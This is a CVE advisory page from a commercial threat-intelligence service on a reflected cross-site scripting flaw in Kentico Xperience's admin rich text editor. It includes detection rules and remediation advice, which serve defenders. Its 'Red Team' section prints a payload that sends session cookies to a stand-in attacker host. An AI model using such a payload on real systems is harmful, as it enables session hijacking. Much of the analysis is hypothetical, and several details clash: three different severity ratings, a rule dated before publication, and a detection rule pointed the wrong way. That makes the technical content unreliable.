☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2022-50681

CVE-2022-50681 Cross-Site Scripting in Kentico
📅 PUBLISHED: 2025-12-18 19:53 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Czech Republic License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2022-50681 is a reflected cross-site scripting (XSS) vulnerability in Kentico Xperience, a content management system (CMS). The flaw resides in the administration interface, specifically within the Rich text editor component. An attacker can inject malicious scripts via input fields, leading to arbitrary script execution in the context of an authenticated administrator's browser. This can result in session hijacking, data theft, or further compromise of the CMS backend. No official patch or exploit code has been released, and the vendor's patch status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned)
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): Low (requires admin access to the editor)
  • User Interaction (UI): Required (victim must click a crafted link)
  • Scope (S): Changed (impact on the CMS backend)
  • Confidentiality (C): High (session tokens, data)
  • Integrity (I): High (malicious actions)
  • Availability (A): Low (unlikely to affect availability)

Threat Level: High – Exploitation requires minimal user interaction and can lead to full administrative control.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the Rich text editor component of Kentico Xperience's administration panel. The editor fails to properly sanitize user-supplied input in certain fields (e.g., HTML attributes, style properties, or custom configuration parameters). When an administrator visits a crafted URL or submits a malicious form, the injected script executes in the context of the admin session.

Attack Flow:

  1. Attacker crafts a malicious URL containing JavaScript payload in a parameter passed to the Rich text editor.
  2. Attacker sends the URL to an authenticated admin (e.g., via email or social engineering).
  3. Admin clicks the link, which loads the editor with the injected script.
  4. The script executes, stealing session cookies, performing actions on behalf of the admin, or exfiltrating data.

Root Cause: Lack of output encoding or input validation in the editor's handling of user-controlled parameters.

Vulnerable vs. Patched Code

No official patch or code diff is available. The vulnerable code likely resides in the editor's JavaScript or server-side rendering logic. A hypothetical vulnerable snippet:

// Vulnerable: Directly inserts user input into HTML
function loadEditorContent(userInput) {
    document.getElementById('editor').innerHTML = userInput;
}

A patched version would sanitize the input:

// Patched: Uses textContent or sanitization
function loadEditorContent(userInput) {
    document.getElementById('editor').textContent = sanitizeHTML(userInput);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Kentico Xperience admin account (low privilege).
  • Ability to craft a URL with a malicious payload.

Exploit Steps:

  1. Identify a parameter passed to the Rich text editor (e.g., ?content=<script>alert(1)</script>).
  2. Craft a payload that steals session cookies:
    https://target.com/admin/editor?content=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Send the link to an admin with higher privileges.
  4. Capture the cookie and hijack the session.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team

Detection:

  • Monitor for unusual parameters in admin URLs (e.g., content=, text=, html=).
  • Look for <script> tags or event handlers in HTTP requests to the editor endpoint.
  • Use WAF rules to block reflected XSS patterns.

Hunting:

  • Search logs for requests containing %3Cscript%3E or onerror= in admin paths.
  • Correlate with unusual outbound connections from admin browsers.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /admin/editor with suspicious query parameters.
    • Outbound connections to unknown domains from admin browsers.
  • Host:
    • Browser console errors or unexpected script execution.
    • Modified admin session cookies.
  • Logs:
    • Web server logs showing %3Cscript%3E or onerror= in admin URLs.
    • Authentication logs with unusual admin activity.

Detection Engineering

YARA Rule

rule CVE_2022_50681_XSS_Kentico {
    meta:
        description = "Detects reflected XSS attempts targeting Kentico Xperience Rich text editor"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2022-50681"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $admin_path = "/admin/editor"
    condition:
        any of ($xss*) and $admin_path
}

Sigma Rule

title: Reflected XSS in Kentico Xperience Admin Editor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts in Kentico Xperience admin editor
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/admin/editor'
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate admin use of editor with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-50681 Kentico Xperience Reflected XSS"; flow:to_server,established; content:"/admin/editor"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Restrict access to the admin panel via IP whitelisting or VPN.
  • Short-term: Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
  • Long-term: Apply input validation and output encoding in the Rich text editor. Use a Content Security Policy (CSP) to restrict script execution.
  • Vendor: Contact Kentico for an official patch or upgrade to a supported version.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2022-50681/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.